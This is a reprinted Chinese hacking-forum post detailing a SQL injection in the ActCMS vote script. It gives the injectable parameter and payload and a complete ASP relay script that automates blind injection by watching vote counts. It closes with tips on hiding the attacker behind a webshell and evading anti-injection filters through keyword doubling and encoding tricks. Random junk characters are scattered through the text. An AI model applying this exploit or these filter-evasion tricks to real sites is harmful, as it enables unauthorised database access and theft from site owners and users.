找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2051|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
& b- f- o1 U0 E. J& J
看到ninty大牛的blog的一篇文章" v1 K+ u  Z- t5 H( Q9 r
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]; g  |, g5 H2 b$ J. ^/ ?
关于actcms漏洞的利用  by 3x qq:381862589( p! l  E0 q/ ~8 U
转载请注明以上& M) n) k+ k& J% |7 {
漏洞文件:
: ^1 e9 S8 V6 {7 B7 L  z/plus/vote/vote.asp
& }4 M: C# Q- ?6 `( N6 ?+ [1 u代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    7 e! A& U* W. k; Q8 B3 f0 Q1 p
6 j* |& F& s- E1 J! X' F
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
! V/ q; X4 X7 S! N0 L/ V& h" r* T3 y9 b/ ?
3    response.end    * k0 X- ^( A5 Y' U8 g- F. }

( _2 i) O3 G5 X2 C& ~4    end if   
- T- k$ y$ |7 t
( S( _3 }% A  x9 y0 h2 z5    for i=1 to request("voted").count    # i, s! @. |/ o9 U: K! ~
9 i6 r8 t& T7 R  Z
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
0 j3 Q2 V6 c8 Q9 `/ c% D' D3 [  U+ t; p
7    next   
' t/ t# \1 C& T2 e; ?
* _* P' Z" I* S$ j* C5 S8....    ) o0 `& q4 B. j0 a6 S

6 a* n$ W$ T0 n+ h9response.Redirect "index.asp?id="&id&""   0 ^/ q3 O; |* }/ B+ A( L0 _( E
投票结束回跳转回index.asp这个投票结果页面: X; e5 S2 G. z1 z, I, [3 b
如果投票成功票数加1
: o1 t$ q; i3 c8 f/ D0 O$ j            失败票数不变) ^; i! U/ ]! q7 G3 N, j- d
如图:
* V" ?2 k* _( V7 ]  ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)' O  X$ c/ @5 W8 U. I5 b& k* }

8 e  P2 e) _, h2 i2009-12-27 13:20
; @  T" x% l3 ]1 l+ |) h
5 X0 o: ^8 S% I& [. y. i利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
, X: W( {4 k/ e: c8 D8 h1 s) d5 K; P9 M$ C  v" Y0 c5 B
本帖隐藏的内容需要回复才可以浏览
' v5 ]6 @6 ^) L; t我们用注入中转来实现这个注入具体代码如下:0 c# d+ K  Z6 V0 k6 g6 a7 S6 a
先用寂寞的刺猬大牛的注入中转生成jmget.asp9 v0 @$ a/ B1 }$ Q4 n
注入地址:http://localhost/actcms/plus/vote/vote.asp& f/ z. }9 c4 O; C" f) E0 N
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项7 |% \% o# k7 w6 S

, m+ W  E5 i4 |5 l: q然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% , t7 C8 n$ z. m

6 v* T, Y1 X) [0 Y+ r. v. B; E02JmdcwName=request("jmdcw") 8 u# [1 B* ?( O6 r5 k
9 a9 c. ~  h" w. V- `: L6 b9 J5 \- H
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 9 z3 C, C4 v9 \

& ^8 H2 F$ d9 a5 l; B% S3 j04JmStr="id=1&voted=-1 or 1="&JmdcwName
' i. i+ B5 U- B$ s- L* ?$ g0 M4 Y" X6 l; I: k7 L+ ^
05JmStr=URLEncoding(JmStr)
& n) Y4 e( M7 D& s/ B% d$ O$ e& F4 @( C" \6 }7 \
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
  `9 b) C5 ], X' J/ `* j8 G
- h) X  [7 z1 {4 R. r$ @07testurl="链接标记http://localhost/actcms/plus/vote/index.asp". g& t% T+ z; Y% y2 v7 I

+ J+ q4 w' L" v$ N9 x7 l08testurl=testurl & "?" & JmStr
  W* u+ U: E; v/ {4 o* F2 \. \, a: ]9 d3 [6 ]; g' c7 j$ c
09JMUrl=JMUrl & "?" & JmStr
3 X( |6 T5 \' G. D, Y% C8 E; g  x( [1 W2 B' Y
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp". e1 T) }% F# |, X4 E" Z8 E

, O, s5 w' R- j8 i! V  D11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
" U% K5 D  H* u+ X2 w5 T, Y0 p  \% }9 N# Z$ D4 A8 W9 c
12JmCok=replace(JmCok,chr(32),"%20")  ) k8 V$ E* f: E. M4 G4 @% i
# `4 |  f* ?/ [5 P
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
; ]3 N. _7 R& o2 G  v, ^& z$ Q% p  h  ^
14  
) P8 S7 p. \- P
: o7 l: n% p: ]# _15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
$ l# Q2 b" I9 T- j4 s, {% h+ Q
. v( m- G* `9 o  f& J3 h9 j0 H5 O7 Y16  
8 ?! _3 Q: v" i/ c1 @: ^& i/ }" G' C( _$ u- l- u5 Z
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 6 @# G- x/ C( B) Z
& r, a2 |7 g" L7 ~, F
18response.write test1&""&test2&""
3 a8 ~( H" P% V/ G4 ^3 \/ A
9 d' _/ @% u) F6 {: p4 b! N19  , H6 q' r- Z- ^5 g. L" h3 n/ t! v$ O* a
, k% f+ X/ l& g  ^1 L
20if test1=test2 then '如前后记录相等,表示失败 4 i) N8 g: l, R
; P2 w( c3 s- ~% U7 ^; w
21  response.write "failed"
- j5 g8 C. ?( ^3 t" b0 M. l
! ~9 g# f3 e6 d& O) g) i22else
* B" p% R  C8 U( r  n- r+ ?+ F+ ~4 E! ?4 j" v' E5 h% Y" W
23  response.write "succeed"
/ ?) W- n) R% j, Q$ B' I3 M
2 w+ x! V+ q3 C# _6 u24end if  
. h4 t5 a$ o, N& ]* [
! \4 H) U8 \- a0 R$ p* K25  ) j6 n2 ~& g/ ^$ }
" P! b$ \5 d: }  u* ]/ p% ?
26response.write "by 3x"& R  f: d' {4 Y5 [  c
2 D7 T% g1 K) ~
27  
; |. _) ?% [- X+ J1 u  ~4 J
. m  x  _7 o# u6 I. K0 l; V3 E28  
7 n! U9 }5 \8 M( D9 S5 H3 u
' p& S! D7 @- K! U0 R8 b29Function PostData(PostUrl,PostStr,PostCok,PostRef)   7 w& y; n& _1 F

- V; L: r5 i# F7 A$ z30Dim Http
% X0 ^* a% F: G7 L' Z
! H. w1 G) l" @. w2 F31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
% ^+ n1 X. ^, |9 R  V
! X4 b* I$ R/ S4 C. x7 `32With Http 9 a8 E3 k: p8 y$ k% {1 {
% ^$ ]0 Z" l) J" _% k
33  / e! p( g0 F+ q8 }$ D
: ]& [  F+ P  g5 r* `7 p9 a3 F2 B
34.Open "GET",PostUrl,False
, v# ?5 i- ?8 D, f# x- u9 d8 H/ ^. r# Z  R: [; ?5 [/ O1 z) w
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
5 `, {8 ]* F6 N, \  A# A% {
- h2 R. c* R1 z! F36.SetRequestHeader "Referer",PostRef
1 N- a! H$ c7 X6 d  d  O. y* w8 z* n" E5 ], e
37.SetRequestHeader "Cookie",PostCok
0 O2 I7 \$ P- P+ j
/ _& X8 q- v  A0 G1 s38.Send ()
* \- u) n- w- ]; w3 _+ K4 c& W# f6 Q8 P0 v; X
39PostData = .ResponseBody
3 `8 U0 Q- [, @. T! n, o, ~, h" M7 d" z/ o
40End With% Y. W& @% ~: n
+ m6 s8 _5 E5 ]( o: M  {" g
41Set Http = Nothing! v+ c' d2 W4 Z7 T- a0 ]% N
2 v7 c5 `6 L' k4 Q' f2 d8 J
42PostData =bytes2BSTR(PostData)
5 _3 @" z% W# V1 u) s6 |
. d: N! \, [2 Q9 O  n43End Function4 g* b% V2 P. \* p
# m' [. P+ ]6 [7 Y- S9 X
44  * P) P' l  q- P' r8 [* Z' g! ^4 ~! ]

* m) i4 A( S7 d# q9 Z45  
9 S* i* C- j# [9 ?. @# g% |7 v4 Z6 N9 h  `$ y
46Function bytes2BSTR(vIn) " `6 X# m& J7 k2 S) X- P/ L" ?! n$ i+ `3 H

, G* L% k/ k& j5 O47Dim strReturn : |! Z) n0 {9 Y% ]; J' y
9 f2 j8 a1 |" p9 k  T- e' v
48Dim I, ThisCharCode, NextCharCode
  y3 [# i0 a  Z6 `6 B& u; R/ g4 u; r5 H, i+ m, z, m
49strReturn = ""
  V& t# t" ~5 ]0 R* f5 ]; w4 K3 c4 q# V3 t$ W; s) T
50For I = 1 To LenB(vIn)
1 c$ Z8 u3 O/ F+ y! p* Y3 Z/ @9 P  C! T5 w% f: ]7 o
51ThisCharCode = AscB(MidB(vIn, I, 1)) 2 X5 {8 c7 @. i, b- F

3 {- a( V- j4 y3 }1 c, j- M: u52If ThisCharCode < &H80 Then6 s, P2 E9 B6 F: J' ?3 k, q

5 j* b; H9 X+ ~3 E" m53strReturn = strReturn & Chr(ThisCharCode)
8 |: v# E8 z- w: B' J) Z6 C' O* ]% h( E7 ^( ~  k
54Else+ Z% p* R6 L0 [! b" c7 X& `, N

: p, e0 u& w1 S55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 9 T4 W  z0 r: Z+ ^/ O
. }$ @2 E5 ~  _# N  d) t
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) * m. K5 q" n9 k( w7 c6 t* w

) ?- @9 L8 V2 {: k57I = I + 1 6 `1 o: _1 o9 ^& G# O
6 C4 W6 M/ D$ U0 |+ R
58End If# p9 |9 h# S4 I, c8 e0 q- B8 j

. A' b7 @, A" \9 I59Next
$ c  d( e( `* Z7 q
0 W- M9 d' t2 Z2 w% l/ g- |; P60bytes2BSTR = strReturn
3 g3 o$ K' ]/ \# ]
" Z$ C: _/ a! g# Z- H  Z  Y61End Function
9 L5 W. v2 z1 h: s
. f0 a4 _# I& c6 q) s4 M0 p" g: u62  1 x  t" I7 {6 _$ n; V, l

( B$ A) w, |. W6 O) Z63Function URLEncoding(vstrin)  
6 E- U/ s# u- \9 `. y9 b) j0 Y7 w5 ]7 e0 J$ q/ s) l8 I
64strReturn=""% `  J! F$ H) y) M8 j+ s2 W
4 Y! `" A9 e. @1 [) z/ M5 |
65Dim i 7 I; t" z& o* M& F! n: a9 e
, A% q3 d) S. g% B- R8 N
66For i=1 To Len(vstrin)
* o# {6 }5 `; k/ n7 b' Q( ~( v& P. G9 `4 N1 V, u1 R
67ThisChr=Mid(vstrin,i,1)
. q& t* y6 M$ U8 t" W/ x0 z" ^6 t' w& e( R
68if Abs(Asc(ThisChr))< &HFF Then" Q( t$ M3 g2 {2 r3 X: h
! ~: Z! f# e- |0 \1 F5 Q
69strReturn=strReturn & ThisChr . i- |3 y3 y9 o) h, G' U8 |

$ r0 z9 z; ]8 @+ F* F4 C* C70Else
- k+ {6 O5 G. K& ]( h) M* q1 t9 ^, F" |' j; y
71InnerCode=Asc(ThisChr) 0 s8 S6 j7 s8 }; P9 e& _
- K3 J4 X; k9 C' R- i! `
72If InnerCode<0 Then
2 o' Q# T: ]% T) g! ^& }# W) X% m
73InnerCode=InnerCode + &H10000 + o: c+ @3 l+ u; h( y' S

, h, A- Z% [9 E9 S6 N6 Y2 r: U2 b74End If
3 w, J) o& F5 s
; S/ J8 ]% N7 L4 e- R5 Z; F, V3 z- r75Hight1=(InnerCode And &HFF00) \&HFF
! T- n* E! {* @$ d1 p7 \5 }) Q2 P! R$ i  n# ^9 `
76Low1=InnerCode And &HFF
* ?! B! j. }2 B" z0 a- m, V5 n
( ?8 J# w7 M# B; R& g. M, i77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
# t+ H2 d( E0 Y: w# Z* O7 f/ i5 C6 W/ i# h
78End if 3 v2 {4 J4 p6 J$ P
. {% v1 x9 J0 y3 p
79Next
# w% e  T$ ?9 U+ o6 ]9 K3 l" p1 W
" q, H: l3 P. E/ G4 e+ F! v80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 5 M/ M1 P2 ], _8 V

, W9 _/ k! {  G8 a81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
( Y! O! N  k8 E) |
6 z- l5 s3 f( n7 L82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 8 L1 K5 U! p/ w8 w1 N
" ^8 v2 t  S. i" w; G
83URLEncoding=strReturn
% o! x/ x5 C2 _4 ]: U
3 b$ D+ f. _4 d; w' {84End Function
) K8 o# W2 G& w2 n* m
0 c1 l# B# }  X5 Q+ ^85  , x: A  z3 N* r8 X' |
0 J" K- U1 K; r$ y* s/ I$ Y
86function getSt(body) & d+ z, Q% n: W; p/ s, \
+ i% v. G. d9 z/ z# O
87  startpot=instr(body,"投票人数:")+len("投票人数:")
7 E4 j3 o7 Q; }7 B; W
1 H+ Y( l; h/ s: b" j; y) _; l88  endpot=instr(startpot,body," ")
# }; c; m0 |4 R" V) r' D( t" b$ n7 ^& V" {2 i  ?
89  getSt=mid(body,startpot,endpot-startpot)
2 B$ l- C. \+ S, ?0 `! b
: O+ e; A) c6 @, P90end function + @1 d/ k5 R& c/ i3 |* q

- m/ H4 f; P7 n91%>
" j9 W: w0 p4 h, |6 {& j, Y注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
5 n7 C# e- G2 {) |( F" [4 a0 F测试下效果:. @" @# i4 h" [9 ^
投票成功:: ]  @/ A: @- m( |
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)" A, K% o9 o+ N$ B! d$ E
& H0 p, o( }% J6 j0 s8 s  V, y
2009-12-27 13:29
; w) s/ Q# J( `. C, X4 t投票失败
5 Y- [& W1 @2 T/ I8 phttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
4 s$ U! H% Z9 O5 W
/ @, I  v) ]( @- m7 Z% s2009-12-27 13:29
# V6 {4 K# ~+ D% d( v' x-------------------------------------------------------------------------------; T6 ?( R+ Q& e
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以6 V! A2 b% b3 }3 a
很抱歉。。。只能用单线程工具去注入。。。。。. M& X; x$ I! X0 [2 g
所以失败。。。不好意思。。。5 \$ J5 u9 J# y
-------------------------------------------------------------------------------( @0 a3 f% y4 m
, T( q7 ~% P1 U
注入中转的一些其他应用* K! B$ ~) B- i# E$ I( j
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1 W; u2 L/ U/ r% T& h1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
4 ^5 b! r& @, x4 Q2.post注入转成get型的注入,方便我们使用工具来跑
1 G1 M* y: c6 ?$ V+ N3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")$ Q4 l  g: i% W3 ?7 i- ~8 G, C
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过5 _& Z: \/ {7 i' I# ]
3 R, M8 t5 X& Z' P& ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表